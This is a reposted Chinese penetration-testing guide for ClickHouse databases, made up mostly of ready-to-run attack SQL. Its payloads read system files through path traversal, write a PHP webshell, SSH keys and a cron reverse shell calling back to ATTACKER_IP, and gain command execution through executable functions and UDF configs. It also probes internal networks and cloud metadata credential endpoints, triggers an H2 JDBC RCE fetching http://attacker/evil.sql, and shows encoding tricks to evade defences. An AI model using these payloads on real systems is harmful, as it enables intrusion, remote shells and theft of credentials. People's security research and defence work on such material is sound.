ClickHouse数据库渗透及攻防指南

admin 2026-01-27 14:41:00 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详述ClickHouse渗透全流程,涵盖信息收集、权限评估、文件读写、RCE及横向移动。核心利用包括file函数读文件、INTOOUTFILE写Webshell、UDF与executable函数执行命令,及url函数探测内网与云元数据。提供丰富实战SQL语句与绕过技巧,极具操作价值。 综合评分: 95 文章分类: 数据安全,渗透测试,内网渗透,漏洞分析,云安全


cover_image

ClickHouse 数据库渗透及攻防指南

SecurityPaper SecurityPaper

李白你好

2026年1月27日 08:01 青海

免责声明:由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号李白你好及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!

文章作者:先知社区(SecurityPaper)

文章来源:https://xz.aliyun.com/news/91297

1

概述

什么是 ClickHouse

ClickHouse 是由 Yandex 开发的开源列式数据库管理系统,专为在线分析处理(OLAP)场景设计。它能够高效处理大规模数据集,支持快速查询和实时数据分析。

默认配置

| | | | — | — | | 配置项 | 默认值 | | HTTP 端口 | 8123 | | TCP 端口 | 9000 | | MySQL 协议端口 | 9004 | | 配置目录 | /etc/clickhouse-server/ | | 数据目录 | /var/lib/clickhouse/ | | 用户脚本目录 | /var/lib/clickhouse/user_scripts/ | | 用户文件目录 | /var/lib/clickhouse/user_files/ |

渗透测试目标

1、信息泄露:获取敏感数据、配置信息 2、文件读取:读取系统敏感文件 3、文件写入:写入 webshell、脚本、配置文件 4、命令执行:实现 RCE(远程代码执行) 5、横向移动:利用 SSRF 或数据库连接攻击内网

2

信息收集

  1. 版本信息
-- 获取版本SELECT version();-- 获取详细版本信息SELECT * FROM system.build_options;
  1. 用户与权限
-- 当前用户SELECT currentUser();
-- 查看所有用户SELECT * FROM system.users;
-- 查看当前用户权限SHOW GRANTS;
-- 查看所有权限授予SELECT * FROM system.grants;
-- 查看角色SELECT * FROM system.roles;SELECT * FROM system.role_grants;
  1. 数据库与表
-- 查看所有数据库SHOW DATABASES;
-- 查看所有表SELECT database, name, engine, total_rows, total_bytes FROM system.tables WHERE database NOT IN ('system', 'INFORMATION_SCHEMA', 'information_schema')ORDER BY total_bytes DESC;
-- 查看表结构DESCRIBE TABLE database_name.table_name;
  1. 服务器配置
-- 查看所有设置SELECT name, value FROM system.settings;
-- 查看路径相关配置SELECT name, value FROM system.settings WHERE name LIKE '%path%';
-- 查看文件相关配置SELECT name, value FROM system.settings WHERE name LIKE '%file%';
-- 查看可执行相关配置SELECT name, value FROM system.settings WHERE name LIKE '%executable%';
-- 查看磁盘信息SELECT * FROM system.disks;
-- 查看存储策略SELECT * FROM system.storage_policies;
  1. 集群信息
-- 查看集群配置SELECT * FROM system.clusters;
-- 查看 Zookeeper 配置SELECT * FROM system.zookeeper WHERE path = '/';
-- 查看复制表状态SELECT * FROM system.replicas;
-- 查看宏定义SELECT * FROM system.macros;
  1. 查询历史(敏感信息)
-- 查看查询日志(可能包含密码、密钥)SELECT     event_time,    user,    query,    client_hostnameFROM system.query_log WHERE type = 'QueryFinish' ORDER BY event_time DESC LIMIT 100;
-- 搜索包含敏感关键词的查询SELECT query FROM system.query_log WHERE query LIKE '%password%'    OR query LIKE '%secret%'    OR query LIKE '%key%'   OR query LIKE '%token%';
  1. 可用函数权限评估关键权限检查权限等级
-- 查看所有表函数SELECT name FROM system.table_functions ORDER BY name;
-- 查看用户定义函数SELECT name, origin, create_query FROM system.functions WHERE origin = 'ExecutableUserDefined';
-- 查看所有非系统函数SELECT name, origin FROM system.functions WHERE origin != 'System';

3

权限评估

权限评估

关键权限检查

-- 检查是否有文件写入权限SELECT * FROM system.settings WHERE name = 'allow_into_outfile';-- 检查是否有 DDL 权限SELECT * FROM system.settings WHERE name = 'allow_ddl';-- 检查 SOURCES 权限(url、mysql、postgresql 等函数)SHOW GRANTS;-- 查找是否有 SOURCES 权限

权限等级

| | | | — | — | | 权限级别 | 可执行操作 | | 只读用户 | SELECT 查询 | | 普通用户 | SELECT、INSERT、部分表函数 | | DDL 权限 | CREATE、DROP、ALTER | | SOURCES 权限 | url()、mysql()、postgresql() 等 | | 管理员 | 全部权限 |

4

各种漏洞利用及横向移动

文件读取利用

1. file() 函数读取

-- 基本读取(限制在 user_files 目录)SELECT * FROM file('test.txt', 'RawBLOB', 'data String');-- 使用通配符列出文件SELECT * FROM file('*', 'RawBLOB', 'data String');SELECT * FROM file('*.txt', 'RawBLOB', 'data String');SELECT * FROM file('*.log', 'RawBLOB', 'data String');

2. 路径穿越(低版本可能有效)

-- 尝试路径穿越SELECT * FROM file('../../../etc/passwd', 'RawBLOB', 'data String');SELECT * FROM file('../../etc/passwd', 'RawBLOB', 'data String');SELECT * FROM file('....//....//....//etc/passwd', 'RawBLOB', 'data String');-- 读取 ClickHouse 配置SELECT * FROM file('../config.xml', 'RawBLOB', 'data String');SELECT * FROM file('../users.xml', 'RawBLOB', 'data String');

3. 软链接绕过(需要命令执行权限)

如果有命令执行权限,可以创建软链接绕过目录限制:

ln -s /etc/passwd /var/lib/clickhouse/user_files/passwd

然后读取:

SELECT * FROM file('passwd', 'RawBLOB', 'data String');

文件写入利用

1. INTO OUTFILE

-- 基本文件写入SELECT&nbsp;'test content'&nbsp;INTO&nbsp;OUTFILE&nbsp;'/path/to/file.txt'&nbsp;FORMAT Raw;-- 使用 TRUNCATE 覆盖文件SELECT&nbsp;'new content'&nbsp;INTO&nbsp;OUTFILE&nbsp;'/path/to/file.txt'&nbsp;TRUNCATE&nbsp;FORMAT Raw;-- 写入 webshellSELECT&nbsp;'<?php system($_GET["cmd"]); ?>'&nbsp;INTO&nbsp;OUTFILE&nbsp;'/var/www/html/shell.php'&nbsp;FORMAT Raw;-- 写入 SSH 公钥SELECT&nbsp;'ssh-rsa AAAA... user@host'&nbsp;INTO&nbsp;OUTFILE&nbsp;'/root/.ssh/authorized_keys'&nbsp;FORMAT Raw;-- 写入 crontabSELECT&nbsp;'* * * * * root bash -i >& /dev/tcp/ATTACKER_IP/8888 0>&1'&nbsp;INTO&nbsp;OUTFILE&nbsp;'/etc/cron.d/reverse_shell'&nbsp;FORMAT Raw;

2. 写入脚本到 user_scripts 目录

-- 写入可执行脚本SELECT&nbsp;'#!/bin/bashid'&nbsp;INTO&nbsp;OUTFILE&nbsp;'/var/lib/clickhouse/user_scripts/cmd.sh'&nbsp;FORMAT Raw;-- 写入交互式 shell 脚本SELECT&nbsp;'#!/bin/bashwhile read cmd; do&nbsp; &nbsp; eval "$cmd" 2>&1done'&nbsp;INTO&nbsp;OUTFILE&nbsp;'/var/lib/clickhouse/user_scripts/shell.sh'&nbsp;FORMAT Raw;

命令执行利用

方法1:UDF 配置文件(需要配置文件写入权限)

步骤1:创建 UDF 配置文件

创建 /etc/clickhouse-server/cmd_function.xml

<functions>&nbsp; &nbsp;&nbsp;<function>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<type>executable</type>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<name>cmd</name>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<return_type>String</return_type>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<format>TabSeparated</format>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<command>id</command>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<execute_direct>0</execute_direct>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<lifetime>0</lifetime>&nbsp; &nbsp;&nbsp;</function></functions>

关键参数说明:

  • execute_direct=0

    :command 通过 sh -c 执行

  • execute_direct=1

    :command 在 user_scripts 目录查找脚本

步骤2:确保 config.xml 包含

<user_defined_executable_functions_config>*_function.xml</user_defined_executable_functions_config>

步骤3:重启服务后执行

SELECT&nbsp;cmd();

方法2:带参数的交互式 Shell

UDF 配置:

<functions>&nbsp; &nbsp;&nbsp;<function>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<type>executable</type>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<name>shell</name>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<return_type>String</return_type>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<argument>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<type>String</type>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<name>cmd</name>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</argument>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<format>TabSeparated</format>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<command>bash -c</command>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<execute_direct>0</execute_direct>&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<lifetime>0</lifetime>&nbsp; &nbsp;&nbsp;</function></functions>

执行命令:

SELECT&nbsp;shell('id');SELECT&nbsp;shell('cat /etc/passwd');SELECT&nbsp;shell('whoami');

方法3:executable() 表函数

-- 直接执行命令(新版本)SELECT&nbsp;*&nbsp;FROM&nbsp;executable('id', TabSeparated,&nbsp;'output String');SELECT&nbsp;*&nbsp;FROM&nbsp;executable('cat /etc/passwd', TabSeparated,&nbsp;'line String');-- 执行 user_scripts 目录下的脚本SELECT&nbsp;*&nbsp;FROM&nbsp;executable('script.sh', TabSeparated,&nbsp;'output String');-- 带参数执行SELECT&nbsp;*&nbsp;FROM&nbsp;executable('shell.sh', TabSeparated,&nbsp;'output String', (SELECT&nbsp;'id'));

方法4:Executable 表引擎

-- 创建 Executable 表CREATE TABLE&nbsp;cmd_table (output String)&nbsp;ENGINE&nbsp;=&nbsp;Executable('id', TabSeparated);-- 查询触发执行SELECT&nbsp;*&nbsp;FROM&nbsp;cmd_table;

方法5:Executable Dictionary

-- 创建可执行字典CREATE&nbsp;DICTIONARY cmd_dict (&nbsp; &nbsp; id UInt64,&nbsp; &nbsp; output String)PRIMARY KEY&nbsp;idSOURCE(EXECUTABLE(COMMAND&nbsp;'id'&nbsp;FORMAT TabSeparated))LIFETIME(0)LAYOUT(FLAT());-- 调用字典执行命令SELECT&nbsp;dictGet('cmd_dict',&nbsp;'output', toUInt64(1));

SSRF 利用

1. url() 表函数

-- 基本 HTTP 请求SELECT&nbsp;*&nbsp;FROM&nbsp;url('http://target:port/path',&nbsp;'RawBLOB',&nbsp;'data String');-- 带超时设置SELECT&nbsp;*&nbsp;FROM&nbsp;url('http://target:port/',&nbsp;'RawBLOB',&nbsp;'data String')&nbsp;SETTINGS connect_timeout=2, receive_timeout=2;-- 探测内网服务SELECT&nbsp;*&nbsp;FROM&nbsp;url('http://192.168.1.1:80/',&nbsp;'RawBLOB',&nbsp;'d String');SELECT&nbsp;*&nbsp;FROM&nbsp;url('http://10.0.0.1:8080/',&nbsp;'RawBLOB',&nbsp;'d String');SELECT&nbsp;*&nbsp;FROM&nbsp;url('http://172.16.0.1:3306/',&nbsp;'RawBLOB',&nbsp;'d String');

2. 常见内网服务探测

-- RedisSELECT&nbsp;*&nbsp;FROM&nbsp;url('http://127.0.0.1:6379/',&nbsp;'RawBLOB',&nbsp;'d String');-- ElasticsearchSELECT&nbsp;*&nbsp;FROM&nbsp;url('http://127.0.0.1:9200/',&nbsp;'RawBLOB',&nbsp;'d String');-- Docker APISELECT&nbsp;*&nbsp;FROM&nbsp;url('http://127.0.0.1:2375/version',&nbsp;'RawBLOB',&nbsp;'d String');SELECT&nbsp;*&nbsp;FROM&nbsp;url('http://127.0.0.1:2375/containers/json',&nbsp;'RawBLOB',&nbsp;'d String');-- Kubernetes APISELECT&nbsp;*&nbsp;FROM&nbsp;url('http://127.0.0.1:10250/pods',&nbsp;'RawBLOB',&nbsp;'d String');SELECT&nbsp;*&nbsp;FROM&nbsp;url('http://kubernetes.default.svc/',&nbsp;'RawBLOB',&nbsp;'d String');-- etcdSELECT&nbsp;*&nbsp;FROM&nbsp;url('http://127.0.0.1:2379/version',&nbsp;'RawBLOB',&nbsp;'d String');

3. 批量内网扫描

-- 扫描网段SELECT&nbsp;&nbsp; &nbsp;&nbsp;'192.168.1.1'&nbsp;as&nbsp;ip,&nbsp;*&nbsp;FROM&nbsp;url('http://192.168.1.1:80/',&nbsp;'RawBLOB',&nbsp;'d String')&nbsp;&nbsp; &nbsp; SETTINGS connect_timeout=2UNION&nbsp;ALL&nbsp;SELECT&nbsp;'192.168.1.2',&nbsp;*&nbsp;FROM&nbsp;url('http://192.168.1.2:80/',&nbsp;'RawBLOB',&nbsp;'d String')&nbsp;&nbsp; &nbsp; SETTINGS connect_timeout=2UNION&nbsp;ALL&nbsp;SELECT&nbsp;'192.168.1.3',&nbsp;*&nbsp;FROM&nbsp;url('http://192.168.1.3:80/',&nbsp;'RawBLOB',&nbsp;'d String')&nbsp;&nbsp; &nbsp; SETTINGS connect_timeout=2;

4. 其他 SSRF 函数

-- S3 函数SELECT&nbsp;*&nbsp;FROM&nbsp;s3('http://target:port/bucket/file',&nbsp;'CSV',&nbsp;'data String');-- HDFS 函数SELECT&nbsp;*&nbsp;FROM&nbsp;hdfs('hdfs://target:9000/path',&nbsp;'TabSeparated',&nbsp;'data String');SELECT&nbsp;*&nbsp;FROM&nbsp;hdfs('webhdfs://target:50070/path',&nbsp;'TabSeparated',&nbsp;'data String');

云环境利用

AWS

-- EC2 元数据SELECT&nbsp;*&nbsp;FROM&nbsp;url('http://169.254.169.254/latest/meta-data/',&nbsp;'RawBLOB',&nbsp;'d String');SELECT&nbsp;*&nbsp;FROM&nbsp;url('http://169.254.169.254/latest/meta-data/iam/security-credentials/',&nbsp;'RawBLOB',&nbsp;'d String');-- 获取临时凭证SELECT&nbsp;*&nbsp;FROM&nbsp;url('http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME',&nbsp;'RawBLOB',&nbsp;'d String');

阿里云

-- ECS 元数据SELECT&nbsp;*&nbsp;FROM&nbsp;url('http://100.100.100.200/latest/meta-data/',&nbsp;'RawBLOB',&nbsp;'d String');SELECT&nbsp;*&nbsp;FROM&nbsp;url('http://100.100.100.200/latest/meta-data/ram/security-credentials/',&nbsp;'RawBLOB',&nbsp;'d String');

腾讯云

-- CVM 元数据SELECT&nbsp;*&nbsp;FROM&nbsp;url('http://metadata.tencentyun.com/latest/meta-data/',&nbsp;'RawBLOB',&nbsp;'d String');-- 获取实例信息SELECT&nbsp;*&nbsp;FROM&nbsp;url('http://metadata.tencentyun.com/latest/meta-data/instance-id',&nbsp;'RawBLOB',&nbsp;'d String');SELECT&nbsp;*&nbsp;FROM&nbsp;url('http://metadata.tencentyun.com/latest/meta-data/local-ipv4',&nbsp;'RawBLOB',&nbsp;'d String');SELECT&nbsp;*&nbsp;FROM&nbsp;url('http://metadata.tencentyun.com/latest/meta-data/placement/region',&nbsp;'RawBLOB',&nbsp;'d String');-- 获取 CAM 临时凭证SELECT&nbsp;*&nbsp;FROM&nbsp;url('http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/',&nbsp;'RawBLOB',&nbsp;'d String');-- 获取 User Data(可能包含敏感信息)SELECT&nbsp;*&nbsp;FROM&nbsp;url('http://metadata.tencentyun.com/latest/user-data',&nbsp;'RawBLOB',&nbsp;'d String');

Google Cloud

-- GCE 元数据(需要特殊 Header)SELECT&nbsp;*&nbsp;FROM&nbsp;url('http://metadata.google.internal/computeMetadata/v1/',&nbsp;'RawBLOB',&nbsp;'d String');

横向移动

1. MySQL 连接

-- 连接内网 MySQLSELECT&nbsp;*&nbsp;FROM&nbsp;mysql('192.168.1.100:3306',&nbsp;'database',&nbsp;'table',&nbsp;'user',&nbsp;'password');-- 获取用户信息SELECT&nbsp;*&nbsp;FROM&nbsp;mysql('target:3306',&nbsp;'mysql',&nbsp;'user',&nbsp;'root',&nbsp;'password');

2. PostgreSQL 连接

-- 连接 PostgreSQLSELECT&nbsp;*&nbsp;FROM&nbsp;postgresql('192.168.1.100:5432',&nbsp;'database',&nbsp;'table',&nbsp;'user',&nbsp;'password');-- 利用 COPY FROM PROGRAM 执行命令(需要在 PostgreSQL 端)

3. remote() 连接其他 ClickHouse

-- 连接其他 ClickHouse 节点SELECT&nbsp;*&nbsp;FROM&nbsp;remote('192.168.1.100:9000',&nbsp;'database',&nbsp;'table',&nbsp;'user',&nbsp;'password');-- 使用集群SELECT&nbsp;*&nbsp;FROM&nbsp;cluster('cluster_name',&nbsp;'database',&nbsp;'table');

4. JDBC 连接(需要 JDBC Bridge)

-- JDBC 连接SELECT&nbsp;*&nbsp;FROM&nbsp;jdbc('jdbc:mysql://target:3306/db?user=root&password=pass',&nbsp;'table');-- H2 数据库 RCESELECT&nbsp;*&nbsp;FROM&nbsp;jdbc('jdbc:h2:mem:test;INIT=RUNSCRIPT FROM ''http://attacker/evil.sql''',&nbsp;'test');

5

常见限制及防御绕过

防御绕过

1. 编码绕过

-- Base64 编码SELECT&nbsp;base64Encode('<?php system($_GET["cmd"]); ?>');SELECT&nbsp;base64Decode('PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+');-- Hex 编码SELECT&nbsp;hex('malicious content');SELECT&nbsp;unhex('6D616C6963696F757320636F6E74656E74');-- 使用编码写入文件SELECT&nbsp;unhex('...hex content...')&nbsp;INTO&nbsp;OUTFILE&nbsp;'/path/to/file'&nbsp;FORMAT Raw;

2. 字符串拼接

-- 拼接命令SELECT&nbsp;concat('ca',&nbsp;'t',&nbsp;' /etc/passwd');

3. 使用变量

-- 使用 WITH 子句WITH&nbsp;'http://target/'&nbsp;AS&nbsp;urlSELECT&nbsp;*&nbsp;FROM&nbsp;url(url,&nbsp;'RawBLOB',&nbsp;'d String');

常见限制与绕过

托管环境限制

| | | | | — | — | — | | 限制 | 状态 | 绕过方法 | | INTO OUTFILE 禁用 | 常见 | 无直接绕过,尝试其他写入方式 | | Executable DDL 禁用 | 常见 | 尝试配置文件方式 | | 路径穿越阻止 | 常见 | 软链接(需命令执行) | | url() 内网限制 | 少见 | DNS 重绑定 | | 配置文件只读 | 常见 | 无绕过 |

6

工具与脚本

  1. 信息收集一键脚本
-- 一键获取系统信息SELECT&nbsp;'version'&nbsp;as&nbsp;info, version()&nbsp;as&nbsp;valueUNION&nbsp;ALL&nbsp;SELECT&nbsp;'user', currentUser()UNION&nbsp;ALL&nbsp;SELECT&nbsp;'timezone', timezone()UNION&nbsp;ALL&nbsp;SELECT&nbsp;'hostname', hostName();

2. Python SSRF 扫描脚本

#!/usr/bin/env python3"""ClickHouse SSRF 内网扫描器"""def&nbsp;generate_scan_sql(network, port, start=1, end=254):&nbsp; &nbsp;&nbsp;"""生成扫描 SQL"""&nbsp; &nbsp; sqls = []&nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(start, end +&nbsp;1):&nbsp; &nbsp; &nbsp; &nbsp; ip =&nbsp;f"{network}.{i}"&nbsp; &nbsp; &nbsp; &nbsp; sql =&nbsp;f"SELECT '{ip}:{port}' as target, * FROM url('http://{ip}:{port}/', 'RawBLOB', 'd String') SETTINGS connect_timeout=2;"&nbsp; &nbsp; &nbsp; &nbsp; sqls.append(sql)&nbsp; &nbsp;&nbsp;return&nbsp;sqls# 生成扫描语句for&nbsp;sql&nbsp;in&nbsp;generate_scan_sql("192.168.1",&nbsp;80,&nbsp;1,&nbsp;254):&nbsp; &nbsp;&nbsp;print(sql)

3. 批量端口扫描 SQL 模板

-- 扫描单 IP 多端口SELECT&nbsp;'80'&nbsp;as&nbsp;port,&nbsp;*&nbsp;FROM&nbsp;url('http://TARGET:80/',&nbsp;'RawBLOB',&nbsp;'d String') SETTINGS connect_timeout=2UNION&nbsp;ALL&nbsp;SELECT&nbsp;'443',&nbsp;*&nbsp;FROM&nbsp;url('http://TARGET:443/',&nbsp;'RawBLOB',&nbsp;'d String') SETTINGS connect_timeout=2UNION&nbsp;ALL&nbsp;SELECT&nbsp;'8080',&nbsp;*&nbsp;FROM&nbsp;url('http://TARGET:8080/',&nbsp;'RawBLOB',&nbsp;'d String') SETTINGS connect_timeout=2UNION&nbsp;ALL&nbsp;SELECT&nbsp;'8443',&nbsp;*&nbsp;FROM&nbsp;url('http://TARGET:8443/',&nbsp;'RawBLOB',&nbsp;'d String') SETTINGS connect_timeout=2UNION&nbsp;ALL&nbsp;SELECT&nbsp;'3306',&nbsp;*&nbsp;FROM&nbsp;url('http://TARGET:3306/',&nbsp;'RawBLOB',&nbsp;'d String') SETTINGS connect_timeout=2UNION&nbsp;ALL&nbsp;SELECT&nbsp;'6379',&nbsp;*&nbsp;FROM&nbsp;url('http://TARGET:6379/',&nbsp;'RawBLOB',&nbsp;'d String') SETTINGS connect_timeout=2UNION&nbsp;ALL&nbsp;SELECT&nbsp;'27017',&nbsp;*&nbsp;FROM&nbsp;url('http://TARGET:27017/',&nbsp;'RawBLOB',&nbsp;'d String') SETTINGS connect_timeout=2UNION&nbsp;ALL&nbsp;SELECT&nbsp;'9200',&nbsp;*&nbsp;FROM&nbsp;url('http://TARGET:9200/',&nbsp;'RawBLOB',&nbsp;'d String') SETTINGS connect_timeout=2;

7

网络安全情报攻防站

www.libaisec.com

综合性的技术交流与资源共享社区

专注于红蓝对抗、攻防渗透、威胁情报、数据泄露


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:李白你好 SecurityPaper SecurityPaper《ClickHouse 数据库渗透及攻防指南》

工具|403- 网络安全文章

工具|403-

文章总结: 403-是一款自动化403或401状态码绕过测试工具,旨在辅助安全研究。该工具具备路径规范化、请求头注入及谓词篡改等核心功能,可帮助测试人员快速发现
评论:0   参与:  0